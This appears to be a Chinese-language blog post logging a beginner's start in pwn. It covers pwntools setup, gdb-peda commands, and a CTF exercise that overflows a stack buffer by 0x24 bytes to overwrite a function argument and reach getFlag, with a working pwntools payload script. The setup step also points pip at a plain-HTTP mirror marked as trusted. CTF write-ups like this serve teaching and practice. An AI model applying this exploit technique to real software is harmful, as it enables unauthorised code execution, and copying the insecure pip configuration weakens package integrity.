Contents
  1. 1. 安装pwntools
  2. 2. gdb-peda常见命令
  3. 3. 题目练习1

web learn sleep & pwn learn start

安装pwntools

配置源

1
sudo gedit ~/.pip/pip.conf

将以下内容复制到文件中

1
2
3
4
[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com

报错解决方案

根据报错我们定位到文件:/usr/local/lib/python2.7/dist-packages/pwnlib/elf/elf.py
使用编辑器,将文件中所有的ENUM_P_TYPE改为ENUM_P_TYPE_BASE,一般在54行和1749行。

gdb-peda常见命令

  • file path 打开文件
  • run & r 运行
  • step 步入执行
  • next 步过执行
  • disassemble+func 对制定的函数进行反汇编
  • break *0x400100 在0x400100处下断点
  • b mian 在mian函数处下断点
  • stack 20 查看堆栈

    题目练习1

    我们把程序拖入ida进行分析
    main函数
    20191103072157.png
    foo函数

20191103072332.png

getFlag函数

20191103072505.png

可以看到这里是进行了一个判断当a1 == 1633771873时,会调用getFlag函数,读取flag文件,但是main函数给foo传入的值却为305419896,也就是说正常运行程序,不可能使其符合条件,执行getFlag函数

下一步动态调试
来查看foo函数的汇编代码
20191103164600.png

来测试从变量s到a1的距离,然后去覆盖掉a1
可以看到变量s的地址为0x080485ab
我们在变量b的位置下断点

1
gdb-peda$ break *0x080485ab

此时断下的时候,eax的值就是变量s的地址
20191103165913.png
此时eax的值为0xffffd0bc,ebp的值为0xffffd0d8
ebp-eax=1c

接下来看一下栈里面的情况

20191103172016.png
可以看到a1在eip的下面,s与ebp相差0x1c
如果我们想覆盖掉a1中的内容,需要测算下s和a1的距离
即:

1
0x1C + 0x4(ebp) + 0x4(eip) = 0x24

转为10进制为36,我们测试下输入36个A和4个B后,a1地址的值会变成怎么样
20191103173344.png
可以看到变量s1的地址的内容被覆盖成了BBBB,
根据if,我们只需要将BBBB改为0x61616161既可以使条件成立,执行getFlag函数,这里需要注意一点我们输入是字符串和数字不同,我们需要将数字转换成为字符串然后输入

我们构造payload

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf-8
from pwn import *
pwn = process('./pwn0')
print pwn.recvline()

payload = 'T' * (0x1C+0x04+0x04)
payload += p32(0x61616161)

pwn.sendline(payload)

print pwn.recvline()
print pwn.recvline()

成功执行getFlag函数

20191103213403.png

Contents
  1. 1. 安装pwntools
  2. 2. gdb-peda常见命令
  3. 3. 题目练习1